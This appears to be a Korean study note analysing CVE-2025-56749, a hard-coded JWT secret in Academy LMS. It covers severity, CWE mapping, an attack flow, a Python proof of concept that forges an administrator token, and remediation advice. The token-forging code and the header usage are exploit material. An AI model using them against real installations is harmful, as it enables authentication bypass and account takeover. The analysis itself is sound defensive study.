CVE-2025-56749
➡ Bypass
Summary
- 제품 : Creativeitem Academy LMS
- 영향 범위 : 6.14 이하 버전 (NVD) / 블로그기준은 5.13 이하 버전
- 취약점 종류
- CWE-798 – 하드코딩된 자격증명 사용 (feedly.com)
- JWT 서명용 secret 값이 코드에 고정(default 값)
- 결과
- 공격자가 이 secret 을 알면
- 임의의 사용자(심지어 관리자) 로 보이는 JWT 토큰을 만들어서
- 로그인/인증 절차를 통째로 우회할 수 있음. (NVD)
- CVSS(3.1) : 9.4 Critical (AV:N / AC:L / PR:N / UI:N / C:H / I:H / A:L) (NVD)
1. 취약점 사례 조사
a. 스택 & 아키텍쳐
- 언어/프레임워크 : PHP 기반 웹앱 (LMS)
- 웹앱 실제 환경에서 test 하려면 구매 필요하지만 공격 특성상 구현이 어렵지 않을 것 같음
- 유사한 구조 + 동일한 취약점 + 동일한 PoC 결과
- 웹앱 실제 환경에서 test 하려면 구매 필요하지만 공격 특성상 구현이 어렵지 않을 것 같음
$secret = "hard-coded-secret";
$jwt = JWT::encode($payload, $secret);
- 인증 구조
- 로그인 성공 시 JWT 토큰 발급
- 이후 API 요청에서
Authorization: Bearer <JWT>형태로 활용
- 토큰 처리 위치
- 파일 :
lms/application/libraries/TokenHandler.php
- 파일 :
b. 취약 코드 구조
-
PHP 형식 소스 코드
// From lms/application/libraries/TokenHandler.php:6
class TokenHandler
{
//////////The function generate token/////////////
PRIVATE $key = "academy-lms-xxxxxxxx";
public function GenerateToken($data)
{
$jwt = JWT::encode($data, $this->key);
return $jwt;
}
//////This function decode the token////////////////////
public function DecodeToken($token)
{
$decoded = JWT::decode($token, $this->key, array('HS256'));
$decodedData = (array) $decoded;
return $decodedData;
}
} -
private $key값이 동일한 기본값을 가짐 -
secret을 환경변수나 설정파일이 아닌 소스 코드에 넣어둠
c. 공격 플로우
- 공격자가 소스 코드 또는 해당 코드 조각(취약 코드)을 확보
- 하드코딩된 secret 파악
- 이 secret으로 임의 payload를 넣어 JWT 생성
- 이 JWT를
Authorization헤더 등에 넣어 요청 - 서버는 “서명이 맞네?” 하고 해당 사용자로 인증 성공
→ 결과: Authentication Bypass + Account Takeover
2. 취약점 위험도 / 심각도 분석 (CVSS 스코어 기반)
a. 공식 CVSS v3.1
- 점수 : 9.4 (Critical)
- 벡터 : AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:L
b. 각 요소 해석
- Attack Vector (AV) : N(Network) → 인터넷 통해 직접 공격 가능 (로컬/물리 접근 불필요)
- Attack Complexity (AC) : L(LOW) → secret 값만 알면 공격 가능/공격 난이도 낮음
- Privileges Required (PR) : N(No Privileges Required) → 사전 로그인/계정 필요 없어 완전 무권한 공격자 가능
c. 결론
외부에서, 아무 권한 없는 공격자가, 사용자의 개입 없이,
로그인 시스템 전체를 우회하여 모든 계정을 탈취할 수 있는 수준의 취약점”
3. CVE → CWE 연결 분석
a. CVE-2025-56749 → CWE-798 : Use of Hard-coded Credentials
b. CWE-798(Use of Hard-coded Credentials) 연관성
- secet key 는 인증체계의 비밀번호와 동급이라 판단
- 이를 코드에 넣은 상태로 배포해두고, 모든 설치에 대하여 동일하개 사용해버림
- 즉, 비밀번호나 암호화 키와 같은 하드코딩된 자격 증명이 포함되어 있음
c. Access Control 붕괴
- 하드코딩된 secret 노출 → JWT 위조/변조 → 인증과 인가 둘다 붕죄됨
- 추가 연관될 수 있는 CWE
- CWE-284 : Improver Access Control / 인증 실패
- CWE-287 : Improver Authentication / 인증 붕괴
- NVD 는 공식적으로, 근본원인의 기준으로 CVE-798 만 매핑
4. PoC
a. 공개된 PoC 조사
- 소스 코드 또는 패키지 분석 :
secret_key = "..."
- TokenHandler.php에서 secret key가 하드코딩된 것을 발견
- 모든 설치 환경에서 동일한 key 사용
- 정상 JWT 구조 관찰
- header: alg = HS256
- payload: user_id, role_id, is_admin 등
- 토큰 만료(exp) 필드 확인
- 악의적 payload 생성 :
payload = {... is_admin=True}
{
"user_id": 1,
"role_id": 1,
"is_admin": true,
"email": "[email protected]"
}
- 공격자가 직접 JWT 생성 / 서명 :
jwt.encode(payload, secret_key)
forged_token = JWT.encode(
malicious_payload,
hardcoded_secret,
algorithm="HS256" )
- forged_token을 Authorization에 사용 :
Authorization: Bearer <malicious_jwt>
- Authorization:
Bearer <fake_jwt> - 혹은 cookie/token 파라미터로 전달
1~4가 반영된 pseudo-code
import jwt # PyJWT 같은 라이브러리
import datetime
# 1) 취약 LMS 코드에서 하드코딩된 secret
secret_key = "academy-lms-hardcoded-secret-value"
# 2) 공격자가 만들 payload (관리자 권한)
payload = {
"user_id": 1,
"role_id": 1,
"is_admin": True,
"email": "[email protected]",
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=5)
}
# 3) 공격자가 직접 JWT 생성
malicious_token = jwt.encode(payload, secret_key, algorithm="HS256")
print("Fake Admin Token:")
print(malicious_token)
# 4) 이 토큰을 HTTP 요청에 사용
# Authorization: Bearer <malicious_token>
b. 만약 실습 목적 PoC 설계한다면
5. 유사 사례 비교
이후에 공격 시나리오/스크립트 작성 시 활용할 수 있는 것으로 구성
a. CVE-2025-51606
- 선택 사유 : 구조 동일, payload 구성, PoC 흐름, 방어책 비교
- PoC 설계 가이드로 활용에 최적화
b. PoC 개념 흐름도
- 소스 코드 분석
- 정상 JWT 구조 관찰
- 악성 payload 생성
- 공격자가 JWT 재서명
- 요청 헤더에 삽입
- 서버 검증 단계
- 관리자 권한 획득
6. 방어 방법
a. 즉각적인 조치
- JWT 비밀번호를 암호학적으로 안전한 난수 값으로 즉시 변경
- 비밀을 변경하여 기존 JWT 토큰을 모두 무효화
- 모든 사용자에게 재인증 강제 요구
b. 권장 구현
// Generate secure random secret
$jwt_secret = bin2hex(random_bytes(32)); // 64-character hex string
// Store in environment variables or secure config
// Never hardcode in source code
참고문헌
a. 블로그: “Critical JWT Secret Vulnerability in Academy LMS v5.13” (suryadina.com)
- 핵심 포인트
- TokenHandler.php 라는 라이브러리 파일 안에 private $key = "academy-lms-...."; 형태로 secret이 들어가 있음 (suryadina.com)
- 이 key로 JWT::encode, JWT::decode를 다 처리 → 모든 설치에서 동일한 key 사용.
- 글 안에 PoC(파이썬 + jwt 라이브러리) 예시도 포함돼 있음. (suryadina.com)